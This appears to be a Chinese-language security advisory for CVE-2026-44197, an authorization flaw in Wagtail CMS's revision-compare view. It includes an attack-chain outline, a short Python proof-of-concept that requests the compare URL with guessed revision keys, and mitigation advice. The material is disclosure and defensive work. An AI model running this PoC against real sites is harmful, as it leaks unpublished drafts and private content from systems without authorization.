IPBUF安全漏洞报告
English
CVE-2026-44197 CVSS 6.5 中危

CVE-2026-44197 Wagtail敏感信息泄露漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-44197
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Wagtail CMS

相关标签

信息泄露权限绕过WagtailCMSCWE-200

漏洞概述

Wagtail是基于Django的开源内容管理系统。在7.0.7、7.3.2和7.4版本之前,系统存在权限验证缺失的漏洞。没有页面编辑权限的CMS用户,如果获知了两个特定版本的主键,即可利用版本对比视图非法访问页面历史版本。这可能导致未授权的敏感信息泄露。官方已在后续版本中修复此漏洞。

技术细节

该漏洞源于Wagtail在处理“版本对比视图”时的访问控制逻辑存在缺陷。在受影响版本中,系统未对用户是否拥有特定页面的编辑权限进行严格校验。只要用户是CMS注册用户(低权限),且能够猜测或获取到页面两个版本的主键,即可通过构造特定的URL请求直接调用版本对比接口。系统错误地返回了版本间的详细差异数据,而非拒绝访问。这使得攻击者能够绕过前端或逻辑层面的权限限制,直接从数据库读取历史版本中的敏感内容,包括未发布的草稿、私有注释或被修改前的关键信息,导致严重的信息泄露风险。

攻击链分析

STEP 1
信息收集
攻击者识别出目标站点使用Wagtail CMS,并获取或注册一个低权限CMS账户。
STEP 2
枚举版本ID
攻击者尝试猜测、枚举或通过其他途径获取目标页面及其历史版本的主键(PK)。
STEP 3
构造攻击请求
攻击者利用获取到的两个版本主键,构造指向版本对比视图的特定URL请求。
STEP 4
获取敏感数据
由于系统存在权限绕过漏洞,攻击者成功获取到页面版本的详细差异信息,导致敏感数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com" username = "low_priv_user" password = "user_password" page_id = "1" # Target Page ID rev_id_1 = "10" # Known Revision PK 1 rev_id_2 = "11" # Known Revision PK 2 session = requests.Session() # 1. Login to get session cookie login_payload = { 'username': username, 'password': password, 'csrfmiddlewaretoken': 'dummy_token' # Needs to be fetched in real scenario } # session.post(f"{target_url}/admin/login/", data=login_payload) # 2. Exploit the vulnerability # The URL structure for comparing revisions in Wagtail exploit_url = f"{target_url}/admin/pages/{page_id}/revisions/compare/{rev_id_1}/{rev_id_2}/" response = session.get(exploit_url) if response.status_code == 200: print("[+] Success! Sensitive information retrieved from revision compare view.") print(response.text) else: print("[-] Failed to access the view.")

影响范围

Wagtail < 7.0.7
Wagtail >= 7.1, < 7.3.2
Wagtail 7.4 之前版本

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用版本对比功能或通过Web应用防火墙(WAF)限制对/admin/pages/*/revisions/compare/*路径的访问,仅允许特定IP或管理员角色访问。同时,应加强对版本记录访问的日志审计,一旦发现异常访问行为立即阻断。

参考链接